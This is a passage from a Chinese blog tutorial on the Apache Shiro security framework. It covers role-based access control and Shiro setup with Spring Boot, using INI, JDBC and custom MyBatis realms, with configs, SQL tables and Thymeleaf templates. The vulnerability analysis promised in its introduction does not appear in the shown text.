从 Shiro 底层源码看 Shiro 漏洞
从 Shiro 底层源码看 Shiro 漏洞
前言
Shiro 的漏洞已爆出很多年, 我们只关心到了它如何触发, 有时并没有想过这个框架是干嘛的, 甚至没有分析过该框架的底层运行逻辑, 那么本篇文章, 让大家从开发者的角度, 来观察 Shiro 漏洞.
从开发者为什么使用 Shiro, 到 Shiro 底层运行逻辑, 再到 Shiro 漏洞原理刨析.
并不会像某些文章一样, 只是把漏洞点点明一下, 用 Payload 打一下, 就说这个漏洞已经“研究明白”了.
本篇文章分为三个部分:
第一部分来介绍 Shiro 的基本使用, 清晰的感受到 Shiro 框架给程序员带来的便捷.
第二部分来介绍 Shiro 底层源码的分析, 感受该框架设计的精妙.
第三部分来介绍 Shiro 漏洞分析, 在这里我们会梳理底层源码分析的流程, 一步一步涉及到漏洞点的产生, 顺便记载一下 Shiro 的攻击姿势.
本篇文章目录如下:
权限管理
概念
为了实现不同身份登录系统, 出现的功能模块不一样. 这个需求叫做权限管理
.
- 学生登录后, 出现的功能模块为: 选课, 成绩查询, 课程表
- 老师登陆后, 出现的功能模块为: 学生管理, 成绩录入
那么有了这个基础的概念之后, 我们再看一个比较复杂的权限管理案例:
具体实现
第一种方式
这种方式适用于权限管理比较单一, 用户少, 每类用户权限固定的场景. 根据不同的页面来实现功能不一致的情况.
这种方式的缺点则是, 假设需要在销售人员主页
增加新的功能时, 我们需要修改index1.html
页面内容, 增加上新的功能, 需要后期慢慢维护.
这种基于页面的开发, 是不建议的.
第二种方式
这一种设计是RBAC (基于角色的访问控制)
的基本原型, 也不是最终版本, 看起来已经实现动态的显示功能效果了. 但是这里会存在一个问题.
假设我们新增了一个Heihu577
用户, 那么我们就需要在用户权限表
中增加很多权限, 那么假设Heihu577
用户所需要的权限与liucheng
用户权限一致, 那么用户权限表中又需要给Heihu577
用户分配很多权限id, 直到与用户liucheng
的权限id是一致的, 这样大大减少了灵活性.
那么这里我们需要引入角色
的概念, 角色
是什么?我们不妨看下图进行理解.
现在的权限分配, 是根据角色的, 我们只需要指明某个用户是某个角色, 即可得到该角色的具体权限. 而这么做的弊端则是, 假设A & B
用户是同一角色, 而我们希望某一功能只给A用户
而不给B用户
, 这个时候怎么办呢?
我们只需要增加一个用户权限表
, 将额外的权限分配给具体用户即可, 当然随着业务逻辑的复杂, 我们的表也跟着复杂化了. 那么除了表结构的设计, 还需要我们程序设计的思想:
而这里过滤器/拦截器
部分我们也可以自己写流程, 判断当前是否是登录状态, 是否有SESSION等. 当我们考虑不全面时程序也可能出现BUG.
而这种情况我们也可以选择使用安全框架, 帮助我们在应用系统开发过程完成认证以及授权的工作. 而安全框架类似于一个保安的角色:
这是一个演唱会的案例, 根据你的门票类别, 到达具体的座位, 当然这一切都需要你去告诉这个保安如何匹配规则, 换到程序里, 我们也仅仅做一个配置即可. 而这里我们就可以选择使用 Shiro, Shiro 就做了这些事情, 类似于 Shiro 的框架还有很多, Spring Security, OAuth2等.
Shiro
Shiro 的核心功能如下:
Authentication 认证: 验证用户是否有相应的身份 - 登录认证.
Authorization 授权: 对已经通过认证的用户, 检查是否具有某个权限, 或者角色, 从而控制是否能够进行某种操作.
Session Management 会话管理功能: 用户认证成功后创建会话, 在没有退出之前, 当前用户所有信息都保存至当前会话中 (具备 SESSION 功能), 可以在 Java SE 中使用.
Cryptography 密码管理: 对敏感信息进行加密.
支持的特性:
-
Web Support: Shiro 提供了过滤器, 可以通过过滤器拦截 Web 请求来处理 Web 应用的访问控制.
-
Caching 缓存支持: Shiro 可以缓存用户信息以及用户的角色权限信息, 可以提高执行效率.
-
Concurrency: Shiro 支持多线程应用.
-
Testing: 提供测试功能.
-
Run As: 允许一个用户以另一种身份去访问.
-
Remember Me: 记住密码功能.
Shiro 是一个安全框架, 不提供用户权限的维护. 用户的权限管理需要我们自己去设计.
Shiro 核心组件
Shiro 的运行流程为如下:
这里 Subject 的创建是由 SecurityUtils 进行创建的, 后面我们代码会给出案例, 官方给出的图如下:
基于 Java SE 基本使用
在pom.xml
文件中进行引入依赖:
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.4.1</version>
</dependency>
</dependencies>
因为本次的Realm
从文件中获取数据, 所以这里创建/resources/shiro.ini
文件, 内容如下:
[users] # 定义两个用户信息 用户名=密码,角色1,角色2...
heihuUser=heihuPass,seller # 账号名:heihuUser 密码:heihuPass 销售人员
hacker=123456,ckmgr # 账号名:hacker 密码:123456 仓管人员
admin=admin888,admin # 账号名: admin888 密码: admin888
[roles] # 定义角色与对应的权限 角色名=权限1,权限2,权限3...
seller=order-add,order-del,order-list # 销售人员的权限
ckmgr=ck-add,ck-del,ck-list # 仓管人员权限
admin=* # * 表示所有权限
这里的注释在实际运行代码时, 要将其删掉, 否则将报错!
随后我们创建测试程序:
Scanner scanner = new Scanner(System.in); // 接收外部传递来的账号密码
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();
DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); // 准备 SecurityManager
defaultSecurityManager.setRealm(new IniRealm("classpath:shiro.ini")); // 设置 Realm
SecurityUtils.setSecurityManager(defaultSecurityManager); // 将 SecurityManager 设置到 SecurityUtils 工具类中
Subject subject = SecurityUtils.getSubject(); // 通过 SecurityUtils 获取 subject 对象
System.out.println(subject.isAuthenticated()); // 判断 subject 是否通过认证, 这里是 false
subject.login(new UsernamePasswordToken(username, password)); // 通过 subject对象.login 进行认证, 通过账号密码进行认证, 认证失败则抛出异常
System.out.println(subject.isAuthenticated()); // 判断 subject 是否通过认证, 如果登录成功, 这里为 true, 如果登陆失败, 上一行代码已经抛出异常了.
由于登录失败会抛出异常, 所以我们这里可以使用try-catch
进行捕获, 加入到我们的业务逻辑中:
Scanner scanner = new Scanner(System.in); // 接收外部传递来的账号密码
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();
DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); // 准备 SecurityManager
defaultSecurityManager.setRealm(new IniRealm("classpath:shiro.ini")); // 设置 Realm
SecurityUtils.setSecurityManager(defaultSecurityManager); // 将 SecurityManager 设置到 SecurityUtils 工具类中
Subject subject = SecurityUtils.getSubject(); // 通过 SecurityUtils 获取 subject 对象
try {
subject.login(new UsernamePasswordToken(username, password)); // 通过 subject对象.login 进行认证, 通过账号密码进行认证, 认证失败则抛出异常
System.out.println("登陆成功!");
} catch (IncorrectCredentialsException e) {
System.out.println("登陆失败!");
} catch (UnknownAccountException e) {
System.out.println("用户名不存在!");
}
// 如果看注释吃力, 可以根据 《Shiro 核心组件》中的流程进行理解
当然了, 登录成功后, 我们可以判断当前的角色是什么角色, 也可以判断当前的用户是否具备某个权限:
Scanner scanner = new Scanner(System.in); // 接收外部传递来的账号密码
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();
DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); // 准备 SecurityManager
defaultSecurityManager.setRealm(new IniRealm("classpath:shiro.ini")); // 设置 Realm
SecurityUtils.setSecurityManager(defaultSecurityManager); // 将 SecurityManager 设置到 SecurityUtils 工具类中
Subject subject = SecurityUtils.getSubject(); // 通过 SecurityUtils 获取 subject 对象
try {
subject.login(new UsernamePasswordToken(username, password)); // 通过 subject对象.login 进行认证, 通过账号密码进行认证, 认证失败则抛出异常
System.out.println("登陆成功!");
System.out.println(subject.hasRole("seller")); // 判断角色: hacker 登录后返回 false, heihuUser | admin 登录后返回 true
System.out.println(subject.isPermitted("order-del")); // 判断权限: 当前用户是否由 order-del 权限, heihuUser 登录返回 true, hacker 登录返回 false
} catch (IncorrectCredentialsException e) {
System.out.println("登陆失败!");
} catch (UnknownAccountException e) {
System.out.println("用户名不存在!");
}
其中流程如下:
而IniRealm
只不过是实现了AuthorizingRealm
接口, Shiro
框架提供出来了罢了, 其中IniRealm
实现了doGetAuthorizationInfo & doGetAuthenticationInfo
方法, 这两个方法会根据传递过来的token
类型来进入到具体的方法.
SpringBoot 整合 Shiro
IniRealm
如果我们想在SpringBoot中进行使用Shiro, 那么我们肯定是需要围绕如下环节进行研究.
创建 pom.xml:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.3</version>
</parent>
<dependencies>
<dependency> <!-- 导入 shiro-spring, 会自动引入 shiro-core, shiro-web -->
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.4.1</version>
</dependency>
<dependency> <!-- springboot 没有提供对 shiro 的自动配置, shiro 的自动配置需手动完成 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency> <!-- 引入 thymeleaf 模板引擎 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency> <!-- 引入 lombok -->
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency> <!-- 引入 druid-spring-boot-starter, 自动配置 Druid -->
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.1.17</version>
</dependency>
<dependency> <!-- 会自动引入 mybatis, mybatis-spring, spring-boot-starter-jdbc -->
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency> <!-- 引入 mysql 扩展 -->
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.28</version>
</dependency>
<dependency> <!-- 引入 SpringBoot 测试依赖 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
</dependency>
</dependencies>
创建/resources/application.yml
:
server: # 设置启动端口
port: 80
spring:
thymeleaf: # 设置 thymeleaf 模板存放位置
prefix: "classpath:/templates/"
suffix: ".html"
datasource:
druid: # 设置数据库连接
url: jdbc:mysql://localhost:3306/shiro?useSSL=true&characterEncoding=utf-8&useUnicode=true
username: root
password: root
driver-class-name: com.mysql.cj.jdbc.Driver
mvc:
static-path-pattern: /static/** # 设置静态资源访问路径
web:
resources:
static-locations: classpath:/static/** # 设置静态资源保存目录
mybatis:
mapper-locations: classpath:mappers/*.xml # 设置 mybatis mapper文件存放位置, 用于扫描
type-aliases-package: com.heihu577.bean # 设置 JavaBean 存放位置
定义com.heihu577.MainApp
类:
@SpringBootApplication
public class MainApp {
public static void main(String[] args) {
ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class, args);
}
}
因为Shiro
需要我们手动配置, 所以我们定义com.heihu577.config.ShiroAutoConfiguration
类如下:
@Configuration
public class ShiroAutoConfiguration {
@Bean
public IniRealm getIniRealm() { // 先使用 IniReal 做演示
IniRealm iniRealm = new IniRealm("classpath:shiro.ini");
/* classpath:shiro.ini 文件内容如下:
[users]
heihuUser=heihuPass,seller
hacker=123456,ckmgr
admin=admin888,admin
[roles]
seller=order-add,order-del,order-list
ckmgr=ck-add,ck-del,ck-list
admin=*
*/
return iniRealm;
}
@Bean
public SecurityManager getSecurityManager(IniRealm iniRealm) {
DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
defaultWebSecurityManager.setRealm(iniRealm); // 要想完成校验, 需要 Realm
// SecurityUtils.setSecurityManager(defaultWebSecurityManager); // 设置 SecurityUtils 下的 SecurityManager
return defaultWebSecurityManager;
}
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); // 准备一个拦截器, 用于拦截用户请求
shiroFilterFactoryBean.setSecurityManager(securityManager); // 进行数据校验的核心是 SecurityManager, 所以这里需要配置 SecurityManager
// 配置拦截规则...
HashMap<String,String> filterMap = new HashMap();
filterMap.put("/", "anon"); // anon 匿名用户可访问
filterMap.put("/login", "anon"); // 对 login.html 不拦截
filterMap.put("/register", "anon"); // 对 register.html 不拦截
filterMap.put("/user/login", "anon");
filterMap.put("/**", "authc"); // authc 认证用户可访问
filterMap.put("/static/**", "anon"); // 对 /static/** 都不拦截
// user: 使用 RememberMe 用户可访问
// perms: 对应权限可访问
// role: 对应角色可访问
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap); // 将规则设置进来
shiroFilterFactoryBean.setLoginUrl("/login"); // 设置默认的登录界面
shiroFilterFactoryBean.setUnauthorizedUrl("/"); // 设置未授权访问的跳转URL
return shiroFilterFactoryBean;
}
}
随后定义com.heihu577.controller.PageController && com.heihu577.controller.UserController
控制器如下:
@Controller
public class PageController {
@RequestMapping(value = {"/"})
public String index() {
return "index"; // 跳转 thymeleaf 下的 index.html 模板引擎
}
@RequestMapping("/login")
public String login() {
return "login";
}
}
@Controller
@RequestMapping("/user")
public class UserController {
@Resource
private UserServiceImpl userService; // 自动注入 userService
@PostMapping("/login")
public String login(String username, String password) {
try {
userService.login(username, password);
System.out.println("登陆成功!");
return "index"; // 登录成功去 index 页面.
} catch (Exception e) { // 使用 try-catch 进行判断登录状态
System.out.println("登录失败!");
return "login"; // 登录失败去 login 页面, 若想要注入数据, 使用 Model 即可
}
}
}
定义两个模板如下:
<!-- index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>主页</title>
</head>
<body>
<h1>Hello World!</h1>
</body>
</html>
<!-- login.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>登录表单</title>
</head>
<body>
<form action="/user/login" method="post">
u: <input type="text" name="username"/><br>
p: <input type="password" name="password"/><br>
<input type="submit">
</form>
</body>
</html>
定义com.heihu577.service.UserServiceImpl
如下:
@Service
public class UserServiceImpl {
public void login(String username, String password) throws Exception { // 登陆失败会抛出异常, 登陆成功没返回值
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
Subject subject = SecurityUtils.getSubject();
subject.login(usernamePasswordToken); // 发送登录请求.
}
}
最终可以实现用户登录, 判断账号密码是否正确. 当前为了学习方便, 使用了 IniRealm 进行演示, 其中思路如下.
而如果我们想要使用JdbcRealm
, 那么我们则需要配置相应的Realm.
JdbcRealm
其中JdbcRealm
需要创建如下表结构:
CREATE TABLE `users`(
id int primary key auto_increment,
username varchar(60) not null unique,
password varchar(60) not null,
password_salt varchar(20)
);
-- 创建五个用户如下
INSERT INTO `users`(username, password) VALUES('zhangsan', '123456');
INSERT INTO `users`(username, password) VALUES('lisi', '123456');
INSERT INTO `users`(username, password) VALUES('wangwu', '123456');
INSERT INTO `users`(username, password) VALUES('zhaoliu', '123456');
INSERT INTO `users`(username, password) VALUES('chenqi', '123456');
CREATE TABLE `user_roles`(
id int primary key auto_increment,
username varchar(60) not null,
role_name varchar(100) not null
);
-- 给这五个用户分别增加如下角色
-- admin 系统管理人员
-- cmanager 库管人员
-- xmanager 销售人员
-- kmanager 客服人员
-- zmanager 行政人员
INSERT INTO `user_roles`(username, role_name) VALUES('zhangsan', 'admin');
INSERT INTO `user_roles`(username, role_name) VALUES('lisi', 'cmanager');
INSERT INTO `user_roles`(username, role_name) VALUES('wangwu', 'xmanager');
INSERT INTO `user_roles`(username, role_name) VALUES('zhaoliu', 'kmanager');
INSERT INTO `user_roles`(username, role_name) VALUES('chenqi', 'zmanager');
CREATE TABLE `roles_permissions`(
id int primary key auto_increment,
role_name varchar(100) not null,
permission varchar(100) not null
);
-- admin 具备所有权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("admin", "*");
-- 库管人员具备的权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:save");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:delete");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:find");
-- 销售人员具备的权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:c:find");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:save");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:delete");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:find");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:save");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:delete");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:find");
-- 客服人员所具备的权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("kmanager", "sys:k:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("kmanager", "sys:k:find");
-- 行政人员
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("zmanager", "sys:*:find");
当前表结构如果想要查询具体用户是否具有某种权限的话, 关系如下:
那么此时我们修改ShiroAutoConfiguration
类代码如下:
@Configuration
public class ShiroAutoConfiguration {
// @Bean
// public IniRealm getIniRealm() { // 先使用 IniReal 做演示
// IniRealm iniRealm = new IniRealm("classpath:shiro.ini");
// return iniRealm;
// }
@Bean
public JdbcRealm getJdbcRealm(DataSource dataSource) {
JdbcRealm jdbcRealm = new JdbcRealm();
jdbcRealm.setDataSource(dataSource); // druid-spring-boot-starter 已经配置好了, 直接引用即可
jdbcRealm.setPermissionsLookupEnabled(true); // 默认开启认证功能, 需手动开启授权功能
return jdbcRealm;
}
@Bean
public SecurityManager getSecurityManager(JdbcRealm ream) {
DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
defaultWebSecurityManager.setRealm(ream); // 要想完成校验, 需要 Realm
// SecurityUtils.setSecurityManager(defaultWebSecurityManager); // 设置 SecurityUtils 下的 SecurityManager
return defaultWebSecurityManager;
}
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
HashMap<String,String> filterMap = new HashMap();
filterMap.put("/", "anon");
filterMap.put("/login", "anon");
filterMap.put("/register", "anon");
filterMap.put("/user/login", "anon");
filterMap.put("/**", "authc");
filterMap.put("/static/**", "anon");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap); // 将规则设置进来
shiroFilterFactoryBean.setLoginUrl("/login"); // 设置默认的登录界面
shiroFilterFactoryBean.setUnauthorizedUrl("/"); // 设置未授权访问的跳转URL
return shiroFilterFactoryBean;
}
}
修改完具体Realm
后, 我们的功能也成功生效了.
Shiro 标签使用
当我们登录成功后, 需要显示当前用户信息, 以及对应的权限功能入口, Shiro 提供了一套标签, 可以应用于 Thymeleaf, jsp 中。
当前我们的环境是 Thymeleaf, 所以我们必须在pom.xml中导入依赖:
<dependency> <!-- 引入 shiro 标签依赖 -->
<groupId>com.github.theborakompanioni</groupId>
<artifactId>thymeleaf-extras-shiro</artifactId>
<version>2.1.0</version>
</dependency>
随后我们需要在我们的配置类中定义一个Bean:
@Bean
public ShiroDialect getShiroDialect() {
return new ShiroDialect();
}
随后我们在具体模板中进行声明引用即可:
<html lang="en" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
修改/resources/templates/index.html
文件内容如下:
<!DOCTYPE html>
<html lang="en" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
<meta charset="UTF-8">
<title>主页</title>
</head>
<body>
<shiro:guest>
欢迎游客访问 | <a href="/login">登录</a> <!-- 当用户没有登录时会显示该内容 -->
</shiro:guest>
<shiro:user>
欢迎用户名为: <shiro:principal/> 的用户访问! <br> <!-- 当前已经登陆成功的状态, 会显示该内容 <shiro:principal/> 获取当前用户名 -->
<hr>
当前用户角色为:
<shiro:hasRole name="admin"> 超级管理员</shiro:hasRole> <!-- 判断当前的角色 -->
<shiro:hasRole name="cmanager"> 库管人员</shiro:hasRole>
<shiro:hasRole name="xmanager"> 销售人员</shiro:hasRole>
<shiro:hasRole name="kmanager"> 客服人员</shiro:hasRole>
<shiro:hasRole name="zmanager"> 行政人员</shiro:hasRole>
<hr>
<br>当前所拥有的权限为: <br>
<hr>
仓库管理
<ul>
<shiro:hasPermission name="sys:c:save"><li><a href="#">入库</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:c:delete"><li><a href="#">出库</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:c:update"><li><a href="#">更新仓库</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:c:find"><li><a href="#">查找仓库</a></li></shiro:hasPermission>
</ul>
<hr>
销售管理
<ul>
<shiro:hasPermission name="sys:x:save"><li><a href="#">保存订单</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:x:delete"><li><a href="#">删除订单</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:x:update"><li><a href="#">更新订单</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:x:find"><li><a href="#">查询订单</a></li></shiro:hasPermission>
</ul>
客户管理
<ul>
<shiro:hasPermission name="sys:k:save"><li><a href="#">新增客户</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:k:delete"><li><a href="#">删除客户</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:k:update"><li><a href="#">修改客户</a></li></shiro:hasPermission>
<shiro:hasPermission name="sys:k:find"><li><a href="#">查询客户</a></li></shiro:hasPermission>
</ul>
</shiro:user>
</body>
</html>
不同用户登录效果:
自定义 Realm
在真正的项目中, 我们不会使用Shiro
提供的JdbcRealm
, 而是使用自定义Realm
, 配合我们的MyBatis
, 以及自定义表结构进行联合使用.
表结构定义
那么下面我们来定义这些表:
-- 用户信息表
CREATE TABLE `tb_users`(
user_id int unsigned primary key auto_increment,
username varchar(60) not null unique,
password varchar(60) not null,
password_salt varchar(60)
);
INSERT INTO `tb_users`(username, password) VALUES('zhangsan', '123456');
INSERT INTO `tb_users`(username, password) VALUES('lisi', '123456');
INSERT INTO `tb_users`(username, password) VALUES('wangwu', '123456');
INSERT INTO `tb_users`(username, password) VALUES('zhaoliu', '123456');
INSERT INTO `tb_users`(username, password) VALUES('chenqi', '123456');
-- 角色信息表
CREATE TABLE `tb_roles`(
role_id int unsigned primary key auto_increment,
role_name varchar(60) not null
);
INSERT INTO `tb_roles`(role_name) VALUES('admin'); -- 系统管理员
INSERT INTO `tb_roles`(role_name) VALUES('cmanager'); -- 仓管
INSERT INTO `tb_roles`(role_name) VALUES('xmanager'); -- 销售
INSERT INTO `tb_roles`(role_name) VALUES('kmanager'); -- 客服
INSERT INTO `tb_roles`(role_name) VALUES('zmanager'); -- 行政
-- 权限信息表
CREATE TABLE `tb_permissions`(
permission_id int primary key auto_increment,
permission_code varchar(60) not null,
permission_name varchar(60)
);
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:save", "入库");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:delete", "出库");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:update", "修改");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:find", "查询");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:save", "新增订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:delete", "删除订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:update", "修改订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:find", "查询订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:save", "新增客户");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:delete", "删除客户");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:update", "修改客户");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:find", "查询客户");
-- 用户角色表
CREATE TABLE `tb_urs`(
uid int not null,
rid int not null
);
INSERT INTO `tb_urs` VALUES(1,1); -- 第1个用户是第1个角色 (zhangsan 是 admin 角色)
INSERT INTO `tb_urs` VALUES(2,2);
INSERT INTO `tb_urs` VALUES(3,3);
INSERT INTO `tb_urs` VALUES(4,4);
INSERT INTO `tb_urs` VALUES(5,5);
-- 角色权限表
CREATE TABLE `tb_rps`(
rid int not null,
pid int not null
);
INSERT INTO `tb_rps` VALUES(2,1); -- 仓库管理员拥有四个权限
INSERT INTO `tb_rps` VALUES(2,2);
INSERT INTO `tb_rps` VALUES(2,3);
INSERT INTO `tb_rps` VALUES(2,4);
INSERT INTO `tb_rps` VALUES(3,5); -- 销售人员具有九个权限, 包含客服人员的权限, 以及仓库查询权限
INSERT INTO `tb_rps` VALUES(3,4);
INSERT INTO `tb_rps` VALUES(3,6);
INSERT INTO `tb_rps` VALUES(3,7);
INSERT INTO `tb_rps` VALUES(3,8);
INSERT INTO `tb_rps` VALUES(3,9);
INSERT INTO `tb_rps` VALUES(3,10);
INSERT INTO `tb_rps` VALUES(3,11);
INSERT INTO `tb_rps` VALUES(3,12);
INSERT INTO `tb_rps` VALUES(4,11); -- 客服人员具有两个权限, 查询和修改
INSERT INTO `tb_rps` VALUES(4,12);
INSERT INTO `tb_rps` VALUES(5,12); -- 行政人员具备所有查询功能
INSERT INTO `tb_rps` VALUES(5,8);
INSERT INTO `tb_rps` VALUES(5,4);
由于是自定义Realm, 所以查询数据的操作应该由我们自己手动完成, 所以这里我们应该配合我们的MyBatis进行查询数据信息.
DAO 设计
因为我们需要从数据库中拿数据, 那么我们这里可以参考一下JdbcRealm
做了什么:
public class JdbcRealm extends AuthorizingRealm {
protected static final String DEFAULT_AUTHENTICATION_QUERY = "select password from users where username = ?";
protected static final String DEFAULT_SALTED_AUTHENTICATION_QUERY = "select password, password_salt from users where username = ?";
// ↑ 根据用户名查询用户信息
protected static final String DEFAULT_USER_ROLES_QUERY = "select role_name from user_roles where username = ?";
// ↑ 查询具体用户名的角色名称
protected static final String DEFAULT_PERMISSIONS_QUERY = "select permission from roles_permissions where role_name = ?";
// ↑ 根据角色名查询权限列表
}
当然如果我们想要自定义Realm, 我们也需要制定这些业务场景的查询语句. 为了使用我们的 MyBatis 联动 Realm, 这里我们重新建立一个干净的项目.
引入依赖:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <!-- 引入 parent -->
<version>2.5.3</version>
</parent>
<dependencies>
<dependency> <!-- 导入 shiro-spring, 会自动引入 shiro-core, shiro-web -->
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.4.1</version>
</dependency>
<dependency> <!-- springboot 没有提供对 shiro 的自动配置, shiro 的自动配置需手动完成 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency> <!-- 引入 thymeleaf 模板引擎 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency> <!-- 引入 lombok -->
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency> <!-- 引入 druid-spring-boot-starter, 自动配置 Druid -->
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.1.17</version>
</dependency>
<dependency> <!-- 引入 shiro 标签依赖 -->
<groupId>com.github.theborakompanioni</groupId>
<artifactId>thymeleaf-extras-shiro</artifactId>
<version>2.1.0</version>
</dependency>
<dependency> <!-- 会自动引入 mybatis, mybatis-spring, spring-boot-starter-jdbc -->
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency> <!-- 引入 mysql 扩展 -->
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.28</version>
</dependency>
<dependency> <!-- 引入 SpringBoot 测试依赖 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
</dependency>
</dependencies>
application.yml:
server:
port: 80
mybatis:
type-aliases-package: com.heihu577.bean
mapper-locations: classpath:mappers/*.xml
spring:
datasource:
druid:
url: jdbc:mysql://localhost:3306/shiro2?useSSL=true&useUnicode=true&characterEncoding=utf-8
username: root
password: root
driver-class-name: com.mysql.cj.jdbc.Driver
定义Bean:
package com.heihu577.bean;
@Data
public class User {
private Integer userId;
private String username;
private String password;
private String passwordSalt;
}
MainApp:
@SpringBootApplication
@MapperScan("com.heihu577.mapper")
public class MainApp {
public static void main(String[] args) {
ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class, args);
}
}
UserMapper 根据用户名查询用户信息
定义Mapper接口
:
public interface UserMapper {
// 根据用户名, 查询用户信息
public User queryUserByUserName(@Param("username") String username);
}
随后我们创建/resources/mappers/UserMapper.xml
:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.heihu577.mapper.UserMapper">
<resultMap id="user" type="User">
<id property="userId" column="user_id"/>
<result property="username" column="username"/>
<result property="password" column="password"/>
<result property="passwordSalt" column="password_salt"/>
</resultMap>
<select id="queryUserByUserName" resultMap="user" parameterType="String">
